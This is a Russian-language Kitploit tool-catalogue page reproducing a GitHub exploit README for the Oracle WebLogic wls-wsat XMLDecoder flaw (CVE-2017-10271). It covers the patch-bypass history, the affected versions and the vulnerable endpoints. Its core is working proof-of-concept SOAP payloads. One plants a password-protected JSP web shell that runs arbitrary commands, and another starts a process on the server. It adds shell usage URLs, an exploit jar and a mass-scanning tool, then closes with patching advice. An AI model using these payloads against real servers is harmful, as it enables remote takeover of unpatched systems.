Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного Доступа
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

Оригинальный автор:[email protected]

Репозиторий
1222 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WebLogic Wls-wsat XMLDecoder

Описание уязвимости

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Ранее хакеры использовали уязвимость в компоненте WLS WebLogic для массовых удаленных атак на корпоративные серверы. Множество серверов предприятий были скомпрометированы, и количество атакованных организаций демонстрирует явную тенденцию к росту, что требует повышенного внимания. CVE-2017-3506 — это уязвимость удаленного выполнения кода в компоненте WLS Oracle WebLogic, эксплуатируемая в реальных атаках без публично раскрытых деталей. Значительное число предприятий еще не установили патч вовремя. Официальный патч для этой уязвимости был выпущен в апреле 2017 года.

Описание патча CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

Просто добавили функцию validate перед десериализацией: если qName равно "object", выбрасывается исключение и выполнение прекращается. Можно сказать, что это грубый и простой подход, однако такой черный список сложно полностью и досконально исправить. Стоит задуматься...

Метод эксплуатации этой уязвимости относительно прост: атакующему достаточно отправить специально сформированный HTTP-запрос, чтобы получить контроль над целевым сервером. Ущерб огромен. Поскольку уязвимость относительно новая, на многих хостах до сих пор не установлены соответствующие обновления. Ожидается, что после этого инцидента количество атак резко возрастет, и множество новых хостов будут скомпрометированы.

Патч Oracle от апреля 2017 года для CVE-2017-3506 устранил уязвимость не полностью — его можно обойти и по-прежнему выполнять удаленные команды. Уязвимость обхода (CVE-2017-10271) была исправлена в патче, выпущенном Oracle в октябре 2017 года.

Номер уязвимости

CVE-2017-10271 (уязвимость обхода удаленного выполнения команд wls-wsat)

Затронутые версии

Oracle WebLogic Server10.3.6.0.0 версия

Oracle WebLogic Server12.1.3.0.0 версия

Oracle WebLogic Server12.2.1.1.0 версия

Oracle WebLogic Server12.2.1.2.0 версия

Список каталогов wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Использование

Poc:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Выполнение команды
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Получение CmdShell с помощью Exp

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Пакетное сканирование активов

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Рекомендации по исправлению

  1. Установите патч Oracle за октябрь 2017 года.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Установите контроль доступа к ресурсам wls-wsat.

  2. Временное решение

    Если это не влияет на бизнес, в зависимости от фактического окружения удалите следующие war-файлы и каталоги в WebLogic:

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

После перезапуска службы WebLogic или системы убедитесь, что следующий URL возвращает 404:

http://ip:port/wls-wsat/CoordinatorPortType11

Скачать инструмент